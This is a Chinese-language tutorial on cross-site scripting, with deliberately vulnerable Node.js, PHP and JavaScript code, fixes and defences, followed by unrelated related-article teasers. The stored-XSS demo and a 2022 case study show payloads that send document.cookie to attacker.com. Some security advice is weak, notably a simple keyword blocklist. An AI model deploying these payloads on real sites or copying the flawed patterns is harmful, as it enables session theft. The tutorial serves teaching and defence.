常见网络安全攻击类型深度剖析(四):跨站脚本攻击(XSS)——分类、漏洞利用与前端安全防护
常见网络安全攻击类型深度剖析(四):跨站脚本攻击(XSS)——分类、漏洞利用与前端安全防护
在Web应用安全中,跨站脚本攻击(Cross-Site Scripting, XSS)是攻击者利用浏览器漏洞,在用户浏览页面时注入恶意脚本,从而窃取会话Cookie、劫持用户会话或篡改页面内容的高频攻击手段。据OWASP统计,XSS在2021年“OWASP Top 10”中位列第7,至今仍是前端安全的主要威胁之一。本文将结合代码示例,解析XSS的三大核心类型、攻击原理及开发者必学的防御技术。
一、XSS的本质:浏览器的“信任背叛”
XSS的核心原理是:攻击者在Web页面中注入恶意JavaScript/VBScript/HTML代码,当用户浏览器加载该页面时,恶意代码被执行,从而利用浏览器的信任发起攻击。其本质是浏览器对“同源策略”的局部突破(同源策略规定不同源的脚本无法相互访问,但XSS利用合法页面的源执行恶意代码)。
二、XSS的三大核心类型及代码演示
1. 反射型XSS(Reflected XSS)
核心特点
- 恶意代码嵌入在URL参数或表单中,随服务器响应反射给用户浏览器,不存储在服务器端;
- 攻击依赖用户主动点击恶意链接,常见于搜索框、登录页面等交互场景。
漏洞代码示例(Node.js)
// 漏洞代码:未对搜索参数进行转义
app.get('/search', (req, res) => { const keyword = req.query.q; res.send(`<h1>搜索结果:${keyword}</h1>`);
});
攻击演示
- 恶意链接:
http://example.com/search?q=<script>alert('XSS');</script>
- 浏览器解析后执行脚本,弹出警告框(实际攻击中会窃取Cookie:
document.cookie
)。
修复方案
// 修复:使用HTML转义库(如xss-clean)
const xss = require('xss-clean');
app.use(xss()); // 全局中间件自动转义危险字符
app.get('/search', (req, res) => { const keyword = req.sanitizedQuery.q; // 自动转义后的参数 res.send(`<h1>搜索结果:${keyword}</h1>`);
});
2. 存储型XSS(Stored XSS)
核心特点
- 恶意代码存储在服务器数据库中(如用户评论、帖子内容),所有访问该页面的用户都会触发攻击;
- 危害更大,常被用于钓鱼攻击、会话劫持等长期潜伏场景。
漏洞代码示例(PHP)
// 漏洞代码:未过滤用户提交的评论内容
if ($_SERVER['REQUEST_METHOD'] === 'POST') { $comment = $_POST['comment']; $sql = "INSERT INTO comments (content) VALUES ('$comment')"; // 直接存入数据库,未做任何过滤
}
攻击演示
- 用户提交评论:
<script>document.location='http://attacker.com/steal-cookie.php?cookie='+document.cookie;</script>
- 其他用户浏览该页面时,脚本自动发送Cookie到攻击者服务器。
修复方案
// 修复:入库前对内容进行HTML转义+输出时二次转义
function sanitize($str) { return htmlspecialchars($str, ENT_QUOTES, 'UTF-8');
}
// 入库前转义
$comment = sanitize($_POST['comment']);
// 输出时无需再次转义(已转义的内容会被浏览器视为文本)
echo '<div class="comment">' . $comment . '</div>';
3. DOM型XSS(DOM-Based XSS)
核心特点
- 攻击不依赖服务器端响应,而是通过修改浏览器端的DOM树,利用JavaScript动态加载恶意内容;
- 漏洞存在于前端代码中,常见于
innerHTML
、eval()
等危险API的不当使用。
漏洞代码示例(JavaScript)
<!-- 漏洞代码:使用innerHTML动态插入用户输入 -->
<input id="name" type="text">
<button onclick="greet()">提交</button>
<script>
function greet() { const name = document.getElementById('name').value; document.getElementById('output').innerHTML = `<h1>你好,${name}!</h1>`;
}
</script>
<div id="output"></div>
攻击演示
- 输入框填入:
<script>alert('XSS');</script>
innerHTML
动态插入恶意脚本,触发弹窗。
修复方案
<!-- 修复:使用textContent替代innerHTML(不解析HTML) -->
<script>
function greet() { const name = document.getElementById('name').value; document.getElementById('output').textContent = `你好,${name}!`; // 仅插入文本
}
</script>
三、XSS攻击链解析:从代码漏洞到用户劫持
-
漏洞发现:
- 攻击者通过扫描Web页面,寻找未过滤的输入点(如
GET
参数、表单提交、动态DOM操作)。
- 攻击者通过扫描Web页面,寻找未过滤的输入点(如
-
代码注入:
- 反射型:将恶意脚本嵌入URL(如搜索参数、登录redirect参数);
- 存储型:通过注册用户、发表评论等功能,将脚本存入服务器数据库;
- DOM型:利用前端代码中的
innerHTML
、eval()
等API,诱导用户触发脚本执行。
-
用户触发:
- 用户访问包含恶意脚本的页面,浏览器加载并执行脚本(无需用户显式点击,存储型XSS会自动触发)。
-
权限窃取:
- 恶意脚本读取用户Cookie(如
document.cookie
)、会话令牌(Session Token),或获取浏览器环境信息(如navigator.userAgent
)。
- 恶意脚本读取用户Cookie(如
-
攻击实施:
- 会话劫持:通过窃取的Cookie模拟用户身份,执行转账、修改密码等操作;
- 钓鱼攻击:篡改页面内容,显示虚假登录表单,骗取用户敏感信息;
- 漏洞利用链:结合其他漏洞(如CSRF),形成复合攻击。
四、开发者必学的“XSS防御六要素”
1. 输入验证:拒绝恶意字符
实现方法
- 对用户输入的所有字段(如URL参数、表单内容、Cookie值)进行严格校验,只允许特定字符(如字母、数字、部分符号);
- 使用正则表达式过滤危险字符(如
<script>
,onerror
,javascript:
)。
// JavaScript输入验证示例
function validateInput(input) { const forbiddenPattern = /<script>|onload|javascript:/i; return forbiddenPattern.test(input) ? '' : input;
}
2. 输出编码:让恶意代码“失效”
核心原则
- HTML转义:将
<
转为<
,>
转为>
,"
转为"
,确保用户输入被浏览器视为文本而非代码; - JavaScript转义:在动态生成JavaScript代码时,使用
JSON.stringify()
对用户输入进行转义。
// 正确:使用textContent(自动转义HTML)
element.textContent = userInput;
// 错误:使用innerHTML(可能执行恶意脚本)
element.innerHTML = userInput;
3. 内容安全策略(CSP):限制脚本来源
配置方法
- 通过HTTP头或Meta标签声明允许加载的资源来源,阻止加载非信任域的脚本。
<!-- 推荐:在HTML头部添加CSP -->
<meta http-equiv="Content-Security-Policy" content="default-src 'self'; script-src 'self' https://cdn.example.com;">
- 关键指令:
script-src 'self'
:仅允许加载本站和指定域名(如CDN)的脚本;img-src *
:允许加载任何来源的图片(根据业务需求调整)。
4. 避免危险API的滥用
高危操作清单
危险API | 安全替代方案 |
---|---|
innerHTML | textContent (仅插入文本) |
eval() | 避免使用,改用安全的解析方法 |
document.write() | 页面加载完成后禁止使用 |
动态拼接URL | 使用URLSearchParams 类 |
5. 使用安全框架与库
现代框架的安全特性
- React/Vue/Angular:默认对用户输入进行HTML转义,避免XSS(如
{userInput}
会自动转义,等同于textContent
); - Node.js中间件:使用
helmet
、xss-clean
等库,自动过滤危险字符(如Express框架的express-xss-sanitizer
)。
6. 会话管理强化
防御会话劫持
- Cookie属性:为Cookie设置
HttpOnly
(防止JavaScript读取)、Secure
(仅HTTPS传输)、SameSite=Strict
(阻止跨站请求);// Express设置安全Cookie示例 res.cookie('sessionId', sessionToken, { httpOnly: true, secure: true, sameSite: 'strict' });
- 验证码机制:对高风险操作(如修改密码、绑定邮箱)添加验证码,增加攻击成本。
五、典型案例:某社交平台存储型XSS事件(2022年)
事件经过
某知名社交平台的用户评论功能存在存储型XSS漏洞,攻击者通过发布包含以下代码的评论:
<img src=x onerror="fetch('https://attacker.com/steal-cookie.php?cookie='+document.cookie)">
当其他用户浏览该评论时,浏览器自动向攻击者服务器发送Cookie,导致超10万用户的会话令牌泄露。攻击者利用这些令牌登录用户账户,发布钓鱼广告、关注垃圾账号,平台被迫紧急下线评论功能进行修复。
漏洞根源
- 服务器端未对评论内容进行HTML转义,直接存入数据库;
- 前端渲染时使用
innerHTML
加载评论内容,未做二次过滤。
六、XSS与其他攻击的核心区别
特征 | XSS | SQL注入 | CSRF |
---|---|---|---|
攻击对象 | 浏览器(客户端) | 数据库(服务器端) | 浏览器(会话令牌) |
代码执行 | 依赖浏览器执行恶意脚本 | 依赖数据库解析SQL语句 | 依赖用户浏览器自动携带Cookie |
防御核心 | 输入输出编码+CSF策略 | 参数化查询+输入验证 | 令牌校验+Referer检查 |
典型场景 | 评论区、搜索框 | 登录表单、数据库查询 | 转账按钮、修改密码表单 |
七、总结:构建“前端+后端”的立体防御体系
XSS的本质是“用户输入被错误地当作代码执行”,其防御需要前端与后端的协同作战:后端负责输入验证和数据清洗,前端通过安全API和CSP策略阻止脚本执行,同时借助现代框架的内置安全特性减少人为失误。对于开发者而言,应始终遵循“默认不信任任何用户输入”的原则,将XSS防御纳入Web开发的每个环节(从需求分析到上线部署)。
下一篇文章将聚焦“入侵检测系统(IDS)与入侵防御系统(IPS)”,解析如何通过流量监控和实时阻断技术,构建网络安全的“第二道防线”。
相关文章:
常见网络安全攻击类型深度剖析(四):跨站脚本攻击(XSS)——分类、漏洞利用与前端安全防护
常见网络安全攻击类型深度剖析(四):跨站脚本攻击(XSS)——分类、漏洞利用与前端安全防护 在Web应用安全中,跨站脚本攻击(Cross-Site Scripting, XSS)是攻击者利用浏览器漏洞&#x…...
临床试验中安全性估计策略与应用
1. 安全性估计概述 1.1 安全性估计的定义与重要性 1.1.1 安全性估计的定义 安全性估计旨在准确评估药物或干预措施的安全性特征,涵盖不良事件的发生率、严重程度及与治疗的因果关系等关键要素。 依据 ICH E9(R1) 指南,需明确定义目标人群、伴发事件处理方式及分析策略,为药…...
2025年GPLT团体程序设计天梯赛L1-L2
目录 1.珍惜生命 2.偷感好重 3.高温补贴 4.零头就抹了吧 5.这是字符串题 6.这不是字符串题 7.大幂数编辑 8.现代战争编辑 9.算式拆解 10.三点共线 11.胖达的山头 12.被n整除的n位数 1.珍惜生命 【解析】直接输出即可 #include<bits/stdc.h> using namespace…...
AI 场景落地:API 接口服务 VS 本地部署,哪种更适合?
在当前 AI 技术迅猛发展的背景下,企业在实现 AI 场景落地时,面临着一个关键抉择:是选择各大厂商提供的 API 接口服务,还是进行本地化部署?这不仅关乎成本、性能和安全性,还涉及到技术架构、数据治理和长期战…...
cdh平台管理与运维最佳实践
一、容量规划:构建可持续扩展的数据湖底座 1.1 资源评估三维模型 #mermaid-svg-f455GhWoSD6qmLzX {font-family:"trebuchet ms",verdana,arial,sans-serif;font-size:16px;fill:#333;}#mermaid-svg-f455GhWoSD6qmLzX .error-icon{fill:#552222;}#mermaid…...
未来乘用车电气/电子(E/E)架构与商用车电气/电子架构有何不同?
我是穿拖鞋的汉子,魔都中坚持长期主义的汽车电子工程师。 老规矩,分享一段喜欢的文字,避免自己成为高知识低文化的工程师: 钝感力的“钝”,不是木讷、迟钝,而是直面困境的韧劲和耐力,是面对外界噪音的通透淡然。 生活中有两种人,一种人格外在意别人的眼光;另一种人无论…...
第25周:DenseNet+SE-Net实战
目录 前言 1.准备工作 2.查看数据 3.划分数据集 4.创建模型 5.编译及训练模型 6.结果可视化 7.总结 前言 🍨 本文为🔗365天深度学习训练营中的学习记录博客🍖 原作者:K同学啊 1.准备工作 import torch import torch.nn as nn imp…...
【ESP32-IDF笔记】20-配置以太网网络(W5500)
环境配置 Visual Studio Code :版本1.98.2 ESP32:ESP32-S3 ESP-IDF:V5.4 模块:W5500,SPI通讯协议 组件支持:esp_eth 官方的ethernet 以太网组件 W5500介绍 介绍 W5500 是一款全硬件 TCP/IP 嵌入式以太网…...
python源码打包为可执行的exe文件
文章目录 简单的方式(PyInstaller)特点步骤安装 PyInstaller打包脚本得到.exe文件 简单的方式(PyInstaller) 特点 支持 Python 3.6打包为单文件(–onefile)或文件夹形式自动处理依赖项 步骤 安装 PyIns…...
在vscode终端中运行npm命令报错
解决方案 这个错误信息表明,你的系统(可能是 Windows)阻止了 PowerShell 执行脚本,这是由于 PowerShell 的执行策略导致的。PowerShell 的执行策略控制着在系统上运行哪些 PowerShell 脚本。默认情况下,Windows 可能…...
Canvas入门教程!!【Canvas篇二】
没有一朵花,从一开始就是花。 目录 translate() 方法:rotate() 方法:scale() 方法: translate() 方法: Canvas 2D API 的 CanvasRenderingContext2D.translate() 方法用于对当前网格添加平移变换。 translate() 方法通…...
windows服务器及网络:搭建FTP服务器
前言:(各位大佬们,昨天太忙了,整得没有发布昨天那该写的那一篇,属实有点可惜的说QAQ,不过问题已经解决,我又回来啦) 今天我要介绍的是在Windows中关于搭建FTP服务器的流程与方法 注…...
[4A/OP]
2.2 安装程序 2.2.1 解压缩.tar.gz文件 调用UNIX命令tar会在当前目录下创建4A/OP子例程主目录4AOP-1.5/,包括所有必要的子目录。只需键入以下命令即可解压缩和“untar”4AOP-1.5.tar.gz: tar -xzvf 4AOP-1.5.tar.gz4AOP-1.5/目录现在应该已经创建&…...
C++学习之网络攻防以及信息搜索
目录 1.课程安排 2.课程介绍 3.渗透测试 4.ptes渗透测试执行标准的介绍 5.网络攻防环境的介绍 6.kali系统的介绍和调整 7.搜索引擎踩点 8.dnsenum和nslookup 9.whois命令 10.traceroute命令 11.复习 12.traceroute原理 13.telnet命令 14.在线存货ping 15.nmap扫描…...
4.5/Q1,GBD数据库最新文章解读
文章题目:Cross-Country Inequalities in Disease Burden and Quality of Care of Stroke, 1990-2021: A Systematic Analysis of the Global Burden of Disease Study 2021 DOI:10.1111/ene.70050 中文标题:1990 年至 2021 年中风疾病负担和…...
py语法基础理解
条件判断 只有if-else等我语句,Python不支持switch语句 单if语句 if 条件语句: 条件为真时执行的内容 if-else语句 if 条件语句: 条件为真时执行的内容 else: 条件为假时执行的内容 if-elif语句 else if if 条件语句1: 条件语句1为真时执行的内容 elif 条件语句…...
python——异常
1、定义 异常是在代码执行过程中发生的,它会影响到程序的正常运行。python程序不会自动来进行异常处理。python中常见异常父类:Exception。 2、常见异常 TypeError:类型错误异常。ValueError:值的异常。KeyError:键…...
深入理解指针(4)
1.二级指针 如何理解呢? 1.pp的类型是int * * ——二级指针类型 2.p指向a,a的类型是int 3.int * * pp 其中 int * 在说明 pp 是指向 p 的类型 int * ,第二个 * 说明 pp 是指针变量 4.p 1 跳过 4 个字节 , pp 1 跳过 4 或者 8 个字节&am…...
Apipost免费版、企业版和私有化部署详解
Apipost是企业级的 API 研发协作一体化平台,为企业提供 API研发测试管理全链路解决方案,不止于API研发场景,增强企业API资产管理。 Apipost 基于同一份数据源,同时提供给后端开发、前端开发、测试人员使用的接口调试、Mock、自动化…...
小火电视桌面 TV版 老旧历史版本安装包 官方免费下载
如果你还在为小火桌面tv版无法使用而烦恼,四处寻找其他新老版本安装包,那么不妨试试乐看家桌面,它能为你带来全新的电视使用体验。 乐看家桌面的界面简洁纯净,没有繁琐的层级和恼人的广告,大字体、大图标设计ÿ…...
Java常用API详解
本文将系统讲解Java开发中高频使用的工具类API,涵盖数学计算、系统操作、对象处理和大数运算等场景。ps:本文是免费的,如果被csdn锁了,请联系我.如果需要查看更详细的说明,可以查阅javaAPI帮助文档.我本来想直接把API文档整合到文章中方便大家下载,结果csdn这货直接…...
jdk-8u202-linux-x64.tar.gz官方下载地址
https://www.oracle.com/java/technologies/javase/javase8-archive-downloads.html 点击下载,需要先注册oracle账号,很好注册随便写,注册完登录就可以下载了。目前就Oracle JDK 8u201/202 是最后两个可免费用于商业用途的公开版本...
内联函数(c++)
预处理:优点:内嵌到目标代码,减少函数的调用。 缺点:在预处理阶段完成替换,避免了语义上的差错。 egg: #define SQR(X) ((X)*(X)) 函数:优点:完成了某一类操作的抽象,…...
Python 基础语法与数据类型(四) - 布尔类型 (bool) 与逻辑运算符 (and, or, not) 和类型转换
文章目录 布尔类型 (bool)逻辑运算符 (and, or, not)布尔值的“真值”判断 (Truthiness / Falsiness)类型转换 (Type Casting)总结 在前面的文章中,我们学习了数字类型(整型、浮点型)和字符串。今天,我们要介绍另一种非常基础且极…...
WebUI可视化:第7章:系统优化与部署实战
第7章:系统优化与部署实战 学习目标 ✅ 掌握Web应用的性能优化技巧 ✅ 实现安全可靠的线上部署 ✅ 配置监控与日志系统 ✅ 了解云服务成本控制方法 7.1 性能优化策略 7.1.1 前端优化 python # 示例:Gradio异步处理 demo.queue(concurrency_count=5) # 控制并发数 de…...
79. 单词搜索
题目 给定一个 m x n 二维字符网格 board 和一个字符串单词 word 。如果 word 存在于网格中,返回 true ;否则,返回 false 。 单词必须按照字母顺序,通过相邻的单元格内的字母构成,其中“相邻”单元格是那些水平相邻或…...
Spring @Transactional 自调用问题深度解析
Spring Transactional 自调用问题深度解析 问题本质:自调用事务失效 当类内部的方法A调用同一个类的另一个带有Transactional注解的方法B时,事务注解不会生效。这是因为Spring的事务管理是基于AOP代理实现的,而自调用会绕过代理机制。 原理…...
支付宝小程序组件与页面构造器使用指南:从页面到组件的正确迁移
引言 在支付宝小程序开发中,我们经常会遇到需要将页面组件化的情况。本文将通过一个实际案例(将 /pages/plugin/device 从页面迁移到组件),深入分析支付宝小程序中页面和组件的区别,以及正确的迁移方式。我们将从问题…...
version `GLIBCXX_3.4.32‘ not found 解决方法
环境:Ubuntu 24.04 报错:ImportError: /home/ge/opt/anaconda3/envs/roboTwin/bin/../lib/libstdc.so.6: version GLIBCXX_3.4.32 not found (required by /home/ge/Desktop/RoboTwin/third_party/pytorch3d_simplified/pytorch3d/_C.cpython-310-x86_6…...
vue3中nextTick的作用及示例
在Vue 3中,nextTick是一个用于处理DOM异步更新的工具函数,确保在数据变化后操作最新的DOM。以下是其作用的详细解析: 核心作用 延迟回调到DOM更新后:Vue的响应式系统会将数据变更批量处理,异步更新DOM。nextTick允许你…...
WHAT - 《成为技术领导者》思考题(第一章)
文章目录 思考题思路与示例框架1. 观察一位你心目中的领导者2. 若要提升自己的领导技能,你期望哪些方面得到提高?3. 如果领导技能提高,哪些生活层面可能恶化?值得吗?如何缓解?4. 列“提升他人生产效率” vs…...
今日行情明日机会——20250425
指数依然在震荡,等待方向选择,整体量能不搞但个股红多绿少。 2025年4月25日涨停板行业方向分析如下: 一、核心行业方向及驱动逻辑 一季报增长(17家涨停) 核心个股:惠而浦、鸿博股份、卫星化学驱动逻辑&am…...
数据库-子查询、关联查询 和 TCL 语言
标题目录 子查询使用场景子查询分类在 DQL 中使用子查询单行单列子查询多行单列子查询 在 DML 中使用子查询在 DDL 中使用子查询视图 关联查询关联关系的分类连接条件主外键关联N 表关联查询关联查询中使用聚合函数 TCL 语言事务的特性(ACID)在事务中控制…...
精华贴分享|【牛马课题】可转债多策略研究-1【基础篇】
本文来源于量化小论坛策略分享会板块精华帖,作者为Mc,发布于2025年3月19日。 以下为精华帖正文: 01 背景 本次牛马主题是可转债的多策略研究。在第一次牛马线上会议讨论时,我曾表达对今年转债市场的看好。 原因在于:…...
精读27页健康医疗大数据安全管控分类分级实施指南
这篇文档是一份关于健康医疗大数据安全管控分类分级实施指南的文档。该指南的主要内容包括数据分类、数据分级、数据开放形式、数据对外开放分级管控、数据模糊化与标签化、数据对外开放典型场景、数据内部分级安全管控和IS&ITS管理手册等内容。 具体来说,该指南…...
Spring MVC 数据绑定利器:深入理解 @InitBinder
在使用 Spring MVC 开发 Web 应用时,我们经常需要处理从 HTTP 请求(如 URL 参数、表单数据)到 Controller 方法参数的自动转换。这就是 Spring 的数据绑定 (Data Binding) 机制。虽然 Spring 提供了很多默认的类型转换器(比如字符…...
【HTTP/2:信息高速公路的革命】
HTTP/2:信息高速公路的革命 想象一下,如果说HTTP/1.1是一条繁忙的双向马路,那么HTTP/2就是一座现代化的高速公路网络系统,彻底改变了数据传输的方式。让我们通过生动的比喻和图表,深入了解这场网络通信的革命。 HTTP…...
PMIC PCA9450 硬件原理全解析:为 i.MX 8M 平台供电的“大脑”
在嵌入式 Linux 系统中,电源设计是构建稳定系统的基础。PCA9450 是 NXP 推出的一款高度集成的 电源管理芯片(PMIC),专为 i.MX 8M 系列处理器设计。它不仅提供多路电压输出,还具备可编程启动顺序、动态电压调节、低功耗…...
【计算机视觉】CV实战项目 - 深入解析基于HOG+SVM的行人检测系统:Pedestrian Detection
深入解析基于HOGSVM的行人检测系统:从理论到实践 技术核心:HOGSVM检测框架HOG特征原理SVM分类器 项目架构与数据准备INRIA Person数据集目录结构 实战指南:从零构建检测系统环境配置完整训练流程检测应用 关键技术问题与解决方案1. 难例挖掘不…...
巴西kwai短视频推广旅游广告获客营销策略
巴西kwai短视频平台作为一种新兴的推广渠道,可以为旅游广告带来新的营销机遇。以下是一些针对利用kwai短视频平台推广旅游广告的获客营销策略: 制作吸引人的内容:在kwai平台上发布具有吸引力的短视频内容,包括美丽的风景、当地文化…...
智慧医疗领域TMI期刊2025年3月研究热点解析
本推文对2025年3月《IEEE Transactions on Medical Imaging》(TMI)期刊论文的研究热点进行了深入分析。本期TMI涵盖了多模态图像融合、深度学习在医学诊断中的应用、三维重建与分割、图像引导治疗等关键方向,呈现出智慧医疗与人工智能深度融合…...
系统思考:看清问题背后的结构
组织的挑战,往往不是因为不努力,而是“看不清” 结束了为期两天系统思考课程的第一天,被学员的全情投入深深打动。我们用系统结构图,一步步揭示那些表面看起来“习以为常”的问题: 什么原因跨部门协作总是磕磕绊绊&am…...
计算机组成原理实验(1) 算术逻辑运算单元实验
实验一 算术逻辑运算单元实验 一、实验目的 1、掌握简单运算器的数据传输方式 2、掌握74LS181的功能和应用 二、实验内容 1、不带进位位逻辑或运算实验 2、不带进位位加法运算实验 3、实验指导书2.15实验思考 三、实验步骤和结果 实验内容一:不带进位…...
网络安全概述:定义、重要性与发展历程
网络安全概述:定义、重要性与发展历程 在互联网深度融入生活与工作的今天,网络安全已成为不可忽视的关键领域。从个人隐私泄露到企业数据失窃,再到国家关键基础设施遭受攻击,网络安全事件频发,深刻影响着个人、组织乃…...
应力腐蚀环功能及指标
西安力创(LETRY)应力腐蚀环广泛应用于高品质材料的生产检测和研究中。在H2S 作用下准确运用应力环测试可获取石油勘探,航天航空,焊接密封,海运船舶,食品加工等各类材料在各种酸,碱腐蚀环境的腐蚀…...
【多目标进化算法】常见多目标进化算法一览
算法全称核心特点备注NSGA-IINon-dominated Sorting Genetic Algorithm II非支配排序 拥挤度最经典,应用最广NSGA-IIINon-dominated Sorting Genetic Algorithm III支撑向量引导,适合高维(3目标以上)NSGA-II 的高维扩展版MOEA/DM…...
【2025 最新前沿 MCP 教程 01】模型上下文协议:AI 领域的 USB-C
文章目录 1. MCP 来了2. 什么是 MCP?为何它是颠覆性创新?M N 问题:解开 AI 集成乱麻 3. 采用 MCP 的核心优势:普适性价值MCP 与传统 API 集成的对比概览 4. 未来的路 1. MCP 来了 没想到,2025 年的每一天都在上演 「…...
抖音集团电商流量实时数仓建设实践
摘要:本文整理自抖音集团电商数据工程师姚遥老师在 Flink Forward Asia 2024 分论坛中的分享。内容主要分为五个部分: 1、业务和挑战 2、电商流量建模架构 3、电商流量流批一体 4、大流量任务调优 5、总结和展望 01.业务和挑战 第一部分给大家介绍一下流…...
redis客户端库redis++在嵌入式Linux下的交叉编译及使用
在开发过程中,我们经常会遇到需要在嵌入式Linux系统上与Redis进行交互的需求。因此选择一个适合的Redis客户端库就显得尤为重要。下面介绍下c中有名的redis-plus-plus(redis)三方库在嵌入式linux下的交叉编译及使用。该库底层是基于hiredis的…...
5.3 Dify:低代码平台,适用于企业快速部署合规AI应用
Dify作为一款开源低代码平台,已成为企业快速构建和部署合规AI应用的首选工具。Dify通过整合后端即服务(Backend-as-a-Service, BaaS)、大型语言模型操作(LLMOps)以及直观的视觉化界面,显著降低了AI应用开发…...